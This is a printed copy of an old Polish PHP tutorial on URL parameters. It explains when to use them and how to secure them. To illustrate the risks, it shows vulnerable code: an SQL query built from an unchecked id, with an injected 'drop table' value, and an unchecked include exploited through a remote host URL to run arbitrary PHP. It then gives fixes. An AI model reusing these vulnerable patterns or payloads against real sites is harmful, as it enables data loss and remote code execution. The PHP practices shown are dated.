Parametry w adresie
W stęp
Ostatnio na forum pojawiało się sporo pytań na temat przekazywania parametrów do
skryptu przez adres. Pytały głównie osoby, które widziały gdzieś adres w stylu
index.php3?id=78 i chciały wiedzieć co to jest lub mieć taki sam. Uznałem więc, że warto
byłoby omówić temat trochę dokładniej.
W ady i zalety
Z tego co zauważyłem, duża cześć osób zainteresowanych tematem nie wiedziała do
czego to służy, ale chciała mieć takie adresy "bo to fajnie wygląda". Zaczne więc może
nietypowo, od WAD tego rozwiązania. A jest ich trochę. Pierwsza i najważniejsza:
wyszukiwarki. Większość wyszukiwarek nie indeksuje stron o adresach zawierających znak '?'.
Następnym problemem jest to, że użytkownik na pewno nie zapamięta takiego adresu. Jeśli
adresem strony jest www.firma.pl/produkt jest duża szansa, że zainteresowany użytkownik go
zapamięta. Jeśli natomiast zmienimy to na www.firma.pl/index.php3?dzial=produkty&id=7 nikt
nawet tego nie przeczyta!
Dlatego dążyć należy raczej do uzyskania normalnego adresu, a nie na siłę dodawać do
niego parametry. W tę stronę jest dość łatwo: jeśli mamy skrypt wyświetlający jakieś dane po
podaniu parametrów, np: index.php3?dzial=3&id=17 można utwożyć krótki skrypt który będzie
służył jako "alias" dla tamtego adresu:
$dzial=3;
$id=17;
include("index.php3");
Użycie parametrów
Kiedy więc należy używać adresów z parametrami? Odpowiedź jest prosta: tylko wtedy
gdy jest to konieczne! Na przykład kiedy strony są generowane dynamicznie na podstawie
informacji wprowadzanych przez różnych ludzi, lub jest ich zbyt dużo, by dla każdej tworzyć
osobny plik.
Jeżeli więc dalej uważasz, że przekazywanie parametrów w adresie jest Ci potrzebne,
pozostaje pytanie jak to zrobić? Sprawa jest bardzo prosta. W skrypcie są automatycznie
tworzone zmienne o nazwach i wartościach odpowiadających parametrom. Tak więc po
wywołaniu index.php3?a=1&b=3&c=173 w skrypcie będą dostępna 3 zmienne:
$a o wartości 1
$b o wartości 3
$c o wartości 173
YGREG.COM - Parametry w adresie
http://www.ygreg.com/druk.php?parametry
1 z 3
2010-02-14 21:12
Parametry i bazy danych
Pozostaje już 'tylko' jeden problem - do czego ich użyć. Najczęściej będzie to pewnie
wyciąganie jakichś danych z bazy SQLowej. Trzeba przy tym bardzo uważać na
bezpieczeństwo. Pamiętej że w zmiennej podawanej przez adres użytkownik może wpisać
cokolwiek - niekoniecznie to, czego się spodziewasz. Załóżmy że mamy następujący kod:
$QUERY="SELECT * FROM articles
WHERE ID=\"$id\"";
$result=mysql_query($QUERY);
gdzie $id to zmienna przekazywana z parametru. Co się dzieje? Jeśli użytkownik korzysta
z linków i formularzy na stronie, wszystko jest w porządku. A co jeśli zachce mu się trochę
"poeksperymentować"? Może dać zmiennej id w adresie wartość:
7"; drop table articles;
Właśnie straciliśmy tabelę z artykułami. Niezbyt przyjemne, co? Dlatego zawsze trzeba
sprawdzić co dostaje się jako parametr. Jeśli parametr powinien być liczbą, jest to stosunkowo
proste. Wystarczy przed użyciem zmiennej upewnić się, że ma typ liczbowy:
$id=(int)$id;
Teraz mamy pewność, że będzie to liczba. Trzeba jeszcze oczywiście zadbać, żeby skrypt
nie miał problemu kiedy dostanie jakąś liczbę której się nie spodziewa, ale to już nie problem.
Parametry i funkcja include
Parametrów można też użyć do wklejania funkcją include innych plików. To też może
prowadzić do niebezpiecznych sytuacji. Przykład: mamy pliki 1.htm, 2.htm idt. wstawiane do
skryptu w zależności od parametru id:
<HTML>
<BODY>
Tu jakieś menu,
czy coś w tym stylu.
<? include("$id.htm"); ?>
i jeszcze stopka.
</BODY>
</HTML>
Pierwsza dziura jaką tu widać, to to, że skrypt pozwala na podejrzenie zawartości
dowolnego pliku. Ale to jeszcze nie jest najgorsze - ten skrypt pozwala na wykonanie
dowolnego kodu PHP! Wystarczy wywołać skrypt.php3?id=http://www.jakisserwer.com/costam
YGREG.COM - Parametry w adresie
http://www.ygreg.com/druk.php?parametry
2 z 3
2010-02-14 21:12
a skrypt ściągnie plik costam.htm i wykona umieszczony w nim kod.
Jak więc należy napisać ten kod, aby był bezpieczny? Można użyć tej samej metody co w
przypadku baz danych, dodatkowo sprawdzając jeszcze czy plik istnieje:
<HTML>
<BODY>
Tu jakieś menu,
czy coś w tym stylu.
<?
$id=(int)$id;
if(file_exists("$id.htm"))
include("$id.htm");
else
echo("Zły parametr.");
?>
i jeszcze stopka.
</BODY>
</HTML>
Uwagi końcowe
Mam nadzieję że udało mi się pokazać zastosowania i sposób użycia parametrów
przekazywanych przez adres. Mam też nadzieję, że udało mi się pokazać że czasem nie warto
tego robić. Pytania i uwagi jak zwykle proszę kierować na (http://www.ygreg.com/forum)
Forum.
Grzegorz 'Ygreg' Plebański
ygreg@ygreg.com
http://www.ygreg.com
http://www.ygreg.com
YGREG.COM - Parametry w adresie
http://www.ygreg.com/druk.php?parametry
3 z 3
2010-02-14 21:12